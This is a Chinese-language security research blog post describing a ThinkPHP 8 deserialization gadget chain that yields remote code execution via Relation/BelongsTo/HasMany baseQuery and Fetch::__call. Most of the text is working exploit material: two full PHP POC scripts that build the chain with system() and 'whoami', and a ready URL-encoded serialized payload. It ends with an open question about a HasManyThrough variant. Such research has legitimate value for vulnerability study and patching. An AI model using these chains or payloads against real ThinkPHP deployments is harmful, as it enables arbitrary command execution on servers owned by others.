thinkphp8 通过baseQuery方法的rce
前言
最近也是无聊,想着找点事链子挖一下,最简单的应该就是thinkphp了,便开始了挖掘之路,昨天也看到了一个cve,自己也去挖一个
环境搭建
直接去下载官方的php源码就好了,然后使用phpstduy搭建
自己需要添加一个反序列化的入口
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
unserialize($_GET['lll']);
return '<style>*{ padding: 0; margin: 0; }</style><iframe src="https://www.thinkphp.cn/welcome?version=' . \think\facade\App::version() . '" width="100%" height="100%" frameborder="0" scrolling="auto"></iframe>';
}
}
挖掘流程分析
老样子,tp反序列化入口wakeup或者__destruct()方法
全局搜索一下
不多,也就三个,每一个分析一下
能够利用的也就是第一个和第二个
ResourceRegister#__destruct
public function __destruct()
{
if (!$this->registered) {
$this->register();
}
}
跟进register方法
这里resource对象是可以控制的,我们可以选择调用任意类的__call方法
protected function register()
{
$this->registered = true;
$this->resource->parseGroupRule($this->resource->getRule());
}
可以看到有很多的,这里选择的是
Relation.php的__call方法
public function __call($method, $args)
{
if ($this->query) {
// 执行基础查询
$this->baseQuery();
$result = call_user_func_array([$this->query, $method], $args);
return $result === $this->query ? $this : $result;
}
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
说实话,一开始思考的是利用最后的抛出异常语句触发__tostring的
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
但是$method不可以控制,然后想着找一个类似这种调用,而且method可以控制的,没想到找了一会就找到了
就是在这个call方法中的baseQuery方法
我们的Relation是个抽象类,需要找它的实现类
这里我随便选一个
选择BelongsTo,我们看到它的baseQuery方法
protected function baseQuery(): void
{
if (empty($this->baseQuery)) {
if (isset($this->parent->{$this->foreignKey})) {
// 关联查询带入关联条件
$this->query->where($this->localKey, '=', $this->parent->{$this->foreignKey});
}
$this->baseQuery = true;
}
}
如果baseQuery为真,那就会有这样的一个逻辑
$this->parent->{$this->foreignKey}
两个变量,那岂不是就可以完成上面的那种吗?
我们重新找一个__call方法能够把method先作为字符串处理的,因为如果都在同一个类会有构造方法无限循环的问题
这个其实挺多的,随便拿一个
这里使用的是Fetch类
它的call方法
public function __call($method, $args)
{
if (strtolower(substr($method, 0, 5)) == 'getby') {
// 根据某个字段获取记录
$field = Str::snake(substr($method, 5));
return $this->where($field, '=', $args[0])->find();
}
if (strtolower(substr($method, 0, 10)) == 'getfieldby') {
// 根据某个字段获取记录的某个值
$name = Str::snake(substr($method, 10));
return $this->where($name, '=', $args[0])->value($args[1]);
}
$result = call_user_func_array([$this->query, $method], $args);
return $result === $this->query ? $this : $result;
}
}
substr不就是把第一个对象当作字符串处理的吗
随便测试一下
<?php
class A{
public function __toString(): string
{
echo "sunccess";
}
}
$a=new A();
substr($a,1);
运行后确实输出了
然后就是触发tostring后面的链子就不多说了
POC
<?php
namespace think\db;
class Fetch{
}
namespace think;
abstract class Model
{
private $data = [];
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = true;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $connection;
function __construct()
{
$this->data["lll"]=["whoami"];
$this->withAttr["lll"]=["system"];
$this->json=["lll"];
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->jsonAssoc = true;
}
}
namespace think\model\relation;
use think\db\Fetch;
use think\model\Pivot;
class BelongsTo{
protected $query;
protected $parent;
protected $foreignKey;
function __construct(){
$this->query=true;
$this->parent=new Fetch();
$this->foreignKey=new Pivot();
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
namespace think\route;
use think\model\relation\BelongsTo;
class ResourceRegister
{
protected $registered = false;
protected $resource;
protected $db;
function __construct()
{
$this->registered=false;
$this->resource=new BelongsTo();
}
}
namespace think;
use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));
O%3A28%3A%22think%5Croute%5CResourceRegister%22%3A3%3A%7Bs%3A13%3A%22%00%2A%00registered%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00resource%22%3BO%3A30%3A%22think%5Cmodel%5Crelation%5CBelongsTo%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00query%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00parent%22%3BO%3A14%3A%22think%5Cdb%5CFetch%22%3A0%3A%7B%7Ds%3A13%3A%22%00%2A%00foreignKey%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A10%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22lll%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22lll%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22lll%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BN%3Bs%3A13%3A%22%00%2A%00connection%22%3BN%3B%7D%7Ds%3A5%3A%22%00%2A%00db%22%3BN%3B%7D
柳暗花明又一村
最后测试发现其实根本不需要这么麻烦
因为php中{$this->foreignKey}这种格式就可以当作字符串处理了
就更简单了
{$this->foreignKey}
是一种语法,用于在字符串中插入变量
然后随便看了一下,这种逻辑实在太多了
比如
HasMany
protected function baseQuery(): void
{
if (empty($this->baseQuery)) {
if (isset($this->parent->{$this->localKey})) {
// 关联查询带入关联条件
$this->query->where($this->foreignKey, '=', $this->parent->{$this->localKey});
}
$this->baseQuery = true;
}
}
POC如下
<?php
namespace think;
abstract class Model
{
private $data = [];
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = true;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $connection;
function __construct()
{
$this->data["lll"]=["whoami"];
$this->withAttr["lll"]=["system"];
$this->json=["lll"];
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->jsonAssoc = true;
}
}
namespace think\model\relation;
use think\model\Pivot;
use think\model\HasOne;
class HasMany{
protected $localKey;
protected $query;
protected $baseQuery;
protected $parent;
protected $foreignKey;
function __construct(){
$this->query=true;
$this->baseQuery=null;
$this->parent=new HasOne();
$this->localKey=new Pivot();
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
namespace think\route;
use think\model\relation\HasMany;
class ResourceRegister
{
protected $registered = false;
protected $resource;
protected $db;
function __construct()
{
$this->registered=false;
$this->resource=new HasMany();
}
}
namespace think;
use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));
最后
其实我还卡在了一个问题,看看师傅们有没有想法
就是HasManyThrough的baseQuery方法
protected function baseQuery(): void
{
if (empty($this->baseQuery) && $this->parent->getData()) {
$alias = Str::snake(class_basename($this->model));
$throughTable = $this->through->getTable();
$pk = $this->throughPk;
$throughKey = $this->throughKey;
$modelTable = $this->parent->getTable();
$fields = $this->getQueryFields($alias);
$this->query
->field($fields)
->alias($alias)
->join($throughTable, $throughTable . '.' . $pk . '=' . $alias . '.' . $throughKey)
->join($modelTable, $modelTable . '.' . $this->localKey . '=' . $throughTable . '.' . $this->foreignKey)
->where($throughTable . '.' . $this->foreignKey, $this->parent->{$this->localKey});
$this->baseQuery = true;
}
}
它也是有这个逻辑的,但是需要走到这个逻辑需要
if (empty($this->baseQuery) && $this->parent->getData()) {
$alias = Str::snake(class_basename($this->model));
$throughTable = $this->through->getTable();
$pk = $this->throughPk;
$throughKey = $this->throughKey;
$modelTable = $this->parent->getTable();
$fields = $this->getQueryFields($alias);
这一堆不报错
我们重点关注
$this->parent->getData()
$this->parent->getTable();
需要找到一个类又有getData方法还有getTable方法,反正我是没有找到